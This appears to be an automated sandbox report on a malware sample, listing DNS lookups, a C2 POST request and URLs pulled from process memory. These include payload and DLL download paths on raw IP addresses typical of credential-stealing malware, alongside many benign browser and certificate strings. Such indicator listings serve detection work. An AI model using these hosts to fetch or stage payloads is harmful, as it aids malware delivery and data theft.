Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: onPrefEnabledChanged() - removing gmp directory KEY_PLUGIN_LAST_INSTALL_FAIL_REASONmedia.{0}.allow-x64-plugin-on-arm64startup - adding gmp directory failed with - the given reason to update is not supportedhttps://smartblock.firefox.etp/facebook.svg@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/play.svgresource://gre/modules/FileUtils.sys.mjsFileUtils_openAtomicFileOutputStreamFileUtils_closeAtomicFileOutputStreamFileUtils_closeSafeFileOutputStream@mozilla.org/addons/addon-manager-startup;1*://www.everestjs.net/static/st.v3.js*resource://gre/modules/addons/XPIProvider.jsm*://track.adform.net/serving/scripts/trackpoint/*://static.chartbeat.com/js/chartbeat.js*://static.chartbeat.com/js/chartbeat_video.js*://web-assets.toggl.com/app/assets/scripts/*.js*://libs.coremetrics.com/eluminate.jswebcompat-reporter@mozilla.org.xpi@mozilla.org/network/file-output-stream;1*://cdn.branch.io/branch-latest.min.js**://*.imgur.com/js/vendor.*.bundle.jspictureinpicture%40mozilla.org:1.0.0*://pub.doubleverify.com/signals/pub.js**://c.amazon-adsystem.com/aax2/apstag.js*://auth.9c9media.ca/auth/main.js*://static.criteo.net/js/ld/publishertag.js*://connect.facebook.net/*/sdk.js**://*.imgur.io/js/vendor.*.bundle.js*://www.rva311.com/static/js/main.*.chunk.js*://connect.facebook.net/*/all.js*resource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic DNS traffic detected: DNS query: httpbin.org
Source: global traffic DNS traffic detected: DNS query: github.com
Source: global traffic DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic DNS traffic detected: DNS query: home.twentytk20ht.top
Source: global traffic DNS traffic detected: DNS query: t.me
Source: global traffic DNS traffic detected: DNS query: toptek.sbs
Source: global traffic DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: twentytk20ht.top
Source: global traffic DNS traffic detected: DNS query: cheapptaxysu.click
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 21 Dec 2024 21:17:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FCfV9rnjbEd7qFTS288iPOvKMgyKp3pyKebD6q83PvmxPalkB7PyU8HjK8u9cu2x%2BkuVA7%2FwnJHvUEd7WFUiQBah4OrMj7%2Bdrf8dhZ6oYFNpSkUeUlz55i12AdqlGSaRZgaLatQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f5ae6e3f9ee4245-EWR
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.css
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.jpg
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: c9692f9101.exe, 00000014.00000003.3343254367.000000000595E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/download
Source: c9692f9101.exe, 00000014.00000003.3225782953.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3411644650.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3313908213.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3368923699.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3253255124.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3281565324.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3194039328.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3343254367.000000000595E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/download-g
Source: c9692f9101.exe, 00000014.00000003.3411644650.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3313908213.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3368923699.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3343254367.000000000595E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/downloadOg
Source: c9692f9101.exe, 00000014.00000003.3411644650.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3313908213.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3368923699.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3281565324.000000000595E000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3343254367.000000000595E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/downloadcgm
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe?
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.0000000000777000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/(
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll~#?
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.0000000000765000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.0000000000765000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.0000000000765000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll)
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.&
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.0000000000777000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phplp
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.0000000000777000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/la
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://www.inb
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000011.00000002.2688444765.00000000034E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.mi
Source: powershell.exe, 0000000E.00000002.2636556933.0000000003259000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2688444765.00000000034E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3160764232.0000015C25123000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.v
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0899D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/StoreAppList.Light.png
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0899D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/StoreLogo.Light.png
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08BBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/Theme/Light.xaml
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08BBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/app.Light.ico
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08A94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://e12564.dspb.akamaiedge.net
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5218000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5218000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5218000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5218000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5218000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5218000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: svchost.exe, 00000017.00000003.2851825660.0000019CC5291000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0899D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://foo/Resources/StoreAppList.Light.png
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0899D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://foo/Resources/StoreLogo.Light.png
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08BBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://foo/Resources/app.Light.ico
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08BBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://foo/bar/resources/app.light.ico
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0899D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://foo/bar/resources/storeapplist.light.png
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0899D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://foo/bar/resources/storelogo.light.png
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.00000000023EF000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.00000000023DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://github.com
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.00000000023EF000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2903368169.00000000023DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://github.comd
Source: 932bb971c3.exe, 00000013.00000003.2810515923.0000000001AB0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.twentytk20ht.top/TQ
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFoj850
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://html4/loose.dtd
Source: ed7d415177.exe, 0000001E.00000003.3529309223.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3653308525.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3595404950.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3445606549.000000000177D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://microsoft.coPa
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3623665169.000002238BC40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3676285099.000002238E037000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: powershell.exe, 0000000E.00000002.2643535669.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2706333569.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000011.00000002.2690416299.0000000005095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2688444765.00000000034E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002474000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://raw.githubusercontent.com
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002474000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://raw.githubusercontent.comd
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0891F000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08C4E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0891F000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08C4E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0891F000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08C4E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0891F000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08C4E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/StoreInstaller.Models
Source: powershell.exe, 00000011.00000002.2713514508.0000000007AF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.microsof
Source: powershell.exe, 0000000E.00000002.2638900378.0000000004F25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2690416299.0000000005095000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 81d22383f9.exe, 0000000C.00000002.2903368169.0000000002331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2638900378.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2690416299.0000000004F41000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08A6B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.2638900378.0000000004F25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2690416299.0000000005095000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: powershell.exe, 00000011.00000002.2690416299.0000000005095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2688444765.00000000034E7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: c9692f9101.exe, 00000014.00000003.3634688996.000000000595F000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3638199431.0000000005671000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3635238092.000000000595F000.00000004.00000020.00020000.00000000.sdmp, c9692f9101.exe, 00000014.00000003.3638728492.0000000005612000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: firefox.exe, 00000030.00000002.3491063189.000002238A382000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
